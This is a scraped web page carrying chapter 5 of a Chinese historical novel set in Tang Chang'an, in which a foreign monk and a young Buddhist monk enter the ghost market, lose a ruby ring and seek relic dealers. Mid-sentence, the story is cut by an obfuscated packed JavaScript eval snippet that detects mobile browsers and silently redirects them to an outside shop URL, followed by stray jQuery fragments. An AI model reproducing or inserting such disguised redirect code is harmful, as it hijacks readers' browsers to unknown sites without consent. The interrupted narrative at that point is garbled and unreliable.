文趣网 > 其他小说 > [唐]火烧戒 > 5. 杂胡
    不过这也难不倒颇朗。他带慧迟绕到崇仁坊东门附近,下午他从米夏埃家出来时路过这里,看到坊墙附近有一棵枝繁叶茂的大榕树。

    榕树枝干横斜、间距适中,恰似一级级天然的阶梯。颇朗让慧迟踩着他肩膀爬上最低的横枝,然后自己窜上稍高一些的树干,再将慧迟拉上去,如此便将慧迟“运送”到了比坊墙略高的枝桠上。

    接着他一步跨上墙头,回身伸长手臂,招呼慧迟“跳过来”。

    慧迟哪有这胆子,只一味抱着树枝摇头。颇朗不断鼓励他、对他说,“相信我,没那么远,一步就能跨过来”,可慧迟听不懂,死活就是不肯动。

    情急之下,颇朗换上一脸凶相,压低声用蹩脚的汉话吓唬他:“金吾卫!抓你!”

    慧迟这才抹了把眼泪,哆哆嗦嗦地直起身,两眼紧闭着,张开双臂朝颇朗跳过来。

    颇朗双腿在两尺宽的墙头扎根,稳稳将慧迟接在怀里。

    可新的问题又来了,慧迟如何能从两丈高的坊墙下去?

    颇朗上蹿下跳,把翻身挂墙、蹬墙借力、转身打滚的过程演示了一遍又一遍,慧迟仍撇着嘴只是摇头。

    算算时间,下一队金吾卫很快就要巡视到这里,再不下去便要被逮个正着。颇朗实在没招了,只得屈腿半蹲,拍拍自己肩头,示意慧迟趴他背上。

    下墙容易,背着个一百来斤的东西往下跳,颇朗也没有十足的把握;更何况这傻子怕得要命,胳膊腿儿都死死攀在颇朗身上,害得他根本使不上力。

    翻身尚且容易,落地那一下却根本来不及动作,两人如同麻袋抛尸一般结结实实跌落在地面上。

    颇朗迅速起身,唯恐把慧迟砸坏了。所幸这傻子看着不胖,身上倒着实有些肉,压上去软乎乎的,人也并未受伤。

    落地的一瞬,颇朗猛地想起身上还带着东西,这一番折腾,不会掉了吧?好在伸手一摸,宝石戒指仍硬绰绰硌着他胸口,这才将一颗心放回肚子里。

    慧迟惊魂未定,两腿直打哆嗦。颇朗唯恐被人瞧见,急忙拉着他离开坊墙边,走进灯影幢幢的街巷里。

    很快他便瞧出不对劲来。鬼市虽不像白天的东西两市那般拥挤热闹,人却也不少,而且人人带着面具,或以面巾系在下半张脸上。

    只有他们两人袒露着两张直愣愣的面孔,在昏黄的灯火映衬下,慧迟那张小脸更是白得瘆人。

    颇朗赶紧按住慧迟后颈,令他低头、不要张望。提心吊胆地走了一段,看见一个卖面具和帽子的小摊,两人这才“得救”。

    戴着鬼脸面具走了几步,颇朗忽又意识到两人光光的头顶太过扎眼,只得转回小摊,又买了两顶波斯软帽彼此戴上。

    在硕大的“醉仙楼”酒旗指引下,“波斯成衣”的铺面并不难找。

    店里灯火通明,四面墙上,各色各样的丝绸华服挂得满满登登,并不全是胡人服饰的式样。

    见他们进来,柜台后面坐着的人并不起身,只抬了抬眼皮,便又低下头去拨弄算盘珠子。

    颇朗上前细看,那人眉眼虽是汉人模样,头发的颜色却比汉人浅了不少,还长着一个与扁平面孔十分不协调、因而显得有些阴鸷的大鼻子,显然是个胡汉混血。

    杂胡,汉人常这样称呼这类人,这个词也是一句骂人的话。

    东行的路上,师徒二人曾与波斯商队同行,因此颇朗会说几句简单的波斯语。他走到柜台前用波斯话问那人:“沙普尔,米夏埃的朋友?”

    那人终于站起身来,上下打量他们几眼,换上一副殷勤的笑脸,点了点头。

    不必与生意人多费口舌,直接说买卖的事就好。颇朗伸手进怀里取戒指,摸索了几下,却掏了个空。

    戒指不见了?!他心口哐当一跌,左右扭身,将自己浑身上下搜索个遍,哪里还有戒指的踪影?

    “戒指!你看见我的戒指了吗?”颇朗抓住慧迟两边肩膀摇晃,慧迟愣愣摇头。

    “刚刚还摸到的!明明在我身上!”颇朗暴躁地嘟囔着,弓着身子寻出门去。

    他顺着来时走过的路,一直找到买面具的小摊前,急出一头大汗。

    “你捡到我的戒指?还给我!我的红宝石戒指!”他揪住摊主的衣领咆哮。

    摊主是个汉人老者,被他吓得一个劲儿地摇头摆手,却听不懂他的质问。

    不对,不会丢在这儿!颇朗记起来,他买面具和帽子的钱币是从腰间的小口袋里拿的,在小摊前他并没有掏过胸前的兜。

    这时慧迟跟了过来,见摊主被颇朗吓得瘫坐在地上,便冲着那老汉双手合十,连声道“阿弥陀佛”。

    颇朗弓着腰,一路寻到他们翻墙落地的位置,又沿着坊墙摸排了许久,仍是一无所获。

    而且,两人落地起身后,他确实摸到了怀里的戒指,那么只有可能是丢在从坊墙到“波斯成衣”店这一路上。

    他细细回忆来时路上几次与人擦肩而过的情形,却根本想不起究竟是在哪一次被贼人得手的。

    追过来的慧迟跟在他身后,惊惶地一声声叫着“颇朗,颇朗”。

    “戒指丢了!”颇朗举着手指向慧迟解释,“戒指,帮我找戒指!”

    慧迟似懂非懂地点点头,和他一起又顺着原路找回“波斯成衣”门口,哪里还找得到呢?

    颇朗蹲在地上,抱头将手指插进头发里抓挠,发出一声绝望的闷吼。

    戒指是优翰拿兄弟临终前的捐献,主教大人出于对他的信任交给他;而且,那原本是要用来换成圣教堂的立柱与横梁的,是属于救主的财产,他却漫不经心似的带到鬼市来!

    这可是鬼市啊!全长安的不法之徒、泼皮无赖都在这小小的崇仁坊聚集,东西丢在这儿,怎么可能找得回来?还不如进崇仁坊之前就掉在街巷里,倒还好找一些。

    颇朗又气又悔,一口恶气哽在喉头,憋得鼻子发酸。

    “颇朗?”慧迟把手放在他肩头,轻轻推了推他。

    他抬起头,只见慧迟从脖子上取下串珠,递到他面

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713830|208480||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    前:“给你。”

    我要这东西干什么?颇朗无力地摇了摇头。再说了,一串斑斑点点的石头珠子能换几个钱?

    他抱膝蹲在成衣铺门前,无声地嘶吼了好一会儿才平静下来。

    戒指丢了,却也不能白来一趟,总得问问佛骨舍利的事。颇朗站起身来,攥拳提一口气,又回到店里的柜台前。

    “有人卖‘舍利’吗?”颇朗用不是很标准的波斯话问沙普尔,“菩提教的‘舍利’?”

    沙普尔的波斯话竟也不是十分地道:“你买,还是卖?”

    颇朗犹豫了一下,哑声说:“我买,找‘舍利’卖家。”

    慧迟似乎听明白“舍利”两个字,忽然抱住颇朗的胳膊,一个劲儿地冲他摇头。

    颇朗朝他使眼色,他看不懂似的,竟还叫出颇朗的名字来:“不行啊,颇朗!”

    颇朗气得直捂慧迟面具上的“嘴”。

    沙普尔抽动嘴角说:“今日没有,以后若有,给你留。”

    慧迟还要再嚷嚷,颇朗急忙拉着他往外走。

    到了门口,颇朗怒目瞪着慧迟,用汉话说:“闭嘴!”

    慧迟眼里露出委屈的神色,呆呆点了点头。

    转念一想,颇朗又走回店里,向沙普尔借纸笔一用。

    戒指丢在鬼市,小偷一定会就近销赃,八成也要拿到“波斯成衣”来卖,毕竟这里“买卖不问来历”,名声在外。

    他在纸上画出戒指的形状,指着宝石的位置,又指了指沙普尔衣领上的朱红色:“红宝石戒指,我的!”

    沙普尔虚眼点了点头,露出一抹意义不明的笑。

    颇朗眼珠一转,又把慧迟叫过来,将笔递给他说:“舍利,画!”

    慧迟却始终不明白他的意思,只是呆呆低头捻拨那串佛珠。

    颇朗无奈地捂了捂眼睛,只好放下笔,把这傻子带走了。

    偷戒指的人说不定很快就来“销赃”,他们必须在附近蹲守,但又不能杵在店门口、令贼人警觉。

    颇朗拉着慧迟来到巷底一户人家的后门,藏在暗处紧盯着“波斯成衣”门前的动静。

    这间铺子着实不怎么红火,两人蹲了足足两个时辰,竟连一个上门的顾客都没有。

    到了后半夜,坊间行人渐稀,街边摊铺的烛火熄灭了大半,鬼市渐渐沉入夜的寂静。

    颇朗心知找到戒指的希望微乎其微,胸中的懊恼与不甘,终于化作一腔无力的沮丧。

    手捻串珠、盘腿打坐的慧迟身子逐渐开始摇晃,小鸡啄米似的点头,后来干脆脑袋一歪,倚在颇朗身上打起盹儿来。

    黑暗中响起一阵曲折的肠鸣声,他分辨不出是慧迟的肚子在叫,还是他自己的,便又觉得无比内疚。

    自说自话地把慧迟“掳”来陪他跑这一趟,什么也没办成不说,倒害得人家折腾了半宿、连一口饭也没顾上吃。

    上回他爬树帮慧迟取僧袍的情分,人家已经用一颗糖块还清,这次可就是他欠慧迟的了……